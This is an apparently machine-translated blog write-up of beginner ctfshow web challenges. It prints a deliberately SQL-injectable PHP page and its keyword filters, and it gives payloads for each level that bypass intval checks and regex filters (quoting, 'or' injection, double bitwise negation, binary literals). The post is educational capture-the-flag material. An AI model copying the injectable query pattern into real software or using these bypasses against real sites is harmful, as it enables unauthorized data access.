ctfshow web is realized by the idea of one question

Posted by leeharvey09 on Mon, 21 Feb 2022 04:01:29 +0100

ctfshow sprouting new plan

According to several solution ideas of web1, I realized the pass and kill of the following questions. When I think about it carefully, I feel that these questions are good for novices like me

Title 1: web1 code is very secure and has no loopholes

Open the topic. Obviously, this topic examines code audit. We paste the code to audit a wave

<html>
<head>
    <title>ctf.show Mengxin plan web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# Include database connection files
include("config.php");
# Judge whether the parameter id submitted by get exists
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # Judge whether the value of id is greater than 999
    if(intval($id) > 999){
        # If the id is greater than 999, exit directly and return an error
        die("id error");
    }else{
        # Splicing sql statements with id less than 999
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "Executive sql For: $sql<br>";
        # Execute sql statement
        $result = $conn->query($sql);
        # Judge whether there are query results
        if ($result->num_rows > 0) {
            # If there is a result, get the value $row of the result object
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # Close database connection
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

Most of the topics have comments, so let's learn about the functions

1.isset() function: according to the topic notes, we can probably know that isset function is used to detect whether variables exist

2.intval(): the feature of intval function is actually used here

We write the following code

<?php
	$id=$_GET['id']; //Defines a variable that passes a GET parameter
	var_dump($id);   //Use VaR_ The dump function outputs what this variable looks like
	echo "<br />";   //Line feed, easy to distinguish
	var_dump(intval($id));  //Use VaR_ What does the dump function output look like after being processed by the intval function
?>

Shall we pass? id=1000, the output result is as follows:

Let's pass it on again? id='1000 ', the output result is as follows:

You can see:

$id=$_GET['id'] 

We pass the parameter '1000' to the variable id, and the direct output is still '1000';

However:

var_dump=intval($id)

It can be found that int(0) is output after being processed by intval function

I'll change the code
 

<?php
	$id=$_GET['id'];
	var_dump($id);
	echo "<br />";
	var_dump(intval($id));
	if(intval($id)>999)
	{
		echo "true";
	}
	else 
	{
		echo "false";
	}
	
?>

Expand: I'll expand my knowledge in this place

When processing intval function, if

1. When there are characters in the parameter, the function will directly return 0

2. When a character is in front of a parameter and a number is behind it, the returned value is also 0, for example: abc123

3. When the transmission parameter is preceded by a number and followed by a character, the preceding number is returned and the following character is set to 0

 

Solution 1: according to this feature and the prompt of the topic, flag in id = 1000

We try to construct a payload:

?id='1000'

Successfully get the flag:

ctfshow{85577894-0cb1-4d0d-9fa2-f7f1b03d77c2}

What if we use it directly here? If id=1000, then

According to this sentence of the title, the error will be returned directly

Solution 2: since the problem has been echoed, can we try to use SQL injection to find the flag according to the echo prompt?

Let's try to construct:

?id=100 or id=1000

After returning, we found that we can also get the flag in this way. This is because when we enter id=100 or id=1000, we first compare 100 and 999 in the if statement, and then query the things in id=1000 to bypass

Solution 3: after searching the articles of some bigwigs, I found another construction method, so I'll learn by the way:

We can construct Negation:

?id=~~1000

Let me talk about the principle:

Suppose we take 10 as an example:

The binary representation of 10 is 1010

Into 32-bit binary: 0000 0000 0000 1010

Bit inversion is: 1111 1111 1111 1111 1111 1111 1111 0101

Then we know that the first 0 / 1 represents positive and negative, so there are:

 -111 1111 1111 1111 1111 1111 1111 0101

Negative numbers are represented by complement, and then the complement is the inverse of the original code plus 1, so we subtract 1 from the complement and then take the inverse

-111 1111 1111 1111 1111 1111 1111 0100

-000 0000 0000 0000 0000 0000 0000 1011

Calculated: - 11

In this place, we need to reverse it twice. Because the last data to be queried is the number in 1000, it is still 1000 after two reverse operations, but this can bypass the previous restrictions

Solution 4:

We can also construct a payload:

?id=100%2B900

We know that the database can do calculations, so we construct 100 + 900, but we should pay attention not to inject the + sign directly, because the + sign in the url will be directly parsed into spaces by PHP

Topic 2: web2

The second question is the same as the first question. The difference is that a regular filter is added

    if(preg_match("/or|\+/i",$id)){
            die("id error");
    }

This regular expression filters or and +; The following symbol i marks this is a case insensitive search

If you don't understand, it's recommended that you take a look at the knowledge of regular expressions

Regular expression - matching rules | rookie tutorial

In this way, the second solution above can't be used, but other solutions can be used correctly, as long as there are no filtered keywords, and we can bypass the fourth solution above by changing the + sign to the * sign

Construct payload:

?id='1000'

 

Topic 3: web 3

    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
    }

Good guy, we filter more this time. In fact, or and + - * /!, are filtered out here!, However, we construct payload:

?id='1000'

It can still be used

 

Topic 4: web4

    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

This time, the payload filter has more impact:

?id='1000'

 

Topic 5: web5

    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

This time, we finally filtered the '", so let's try to take the opposite:

?id=~~1000

 

Successfully bypassed

Topic 6: web6

    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

Construct payload:

?id=~~1000

 

Topic 7: web7

    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }

Oh, Huo, we found that the ~ symbol is filtered here. It seems that we can only think of other methods. After thinking about it, according to the previous use of binary negation to bypass, can we directly use binary representation 1000 to bypass?

Construct payload:

?id=1111101000

I found it impossible. I thought about it and added the identifier:

?id=0b1111101000

 

Bypass successful

Interested friends can read this article

ctfshow Mengxin plan web 1-8_ Yu's blog - CSDN blog_ ctfshow Mengxin Web

Topics: security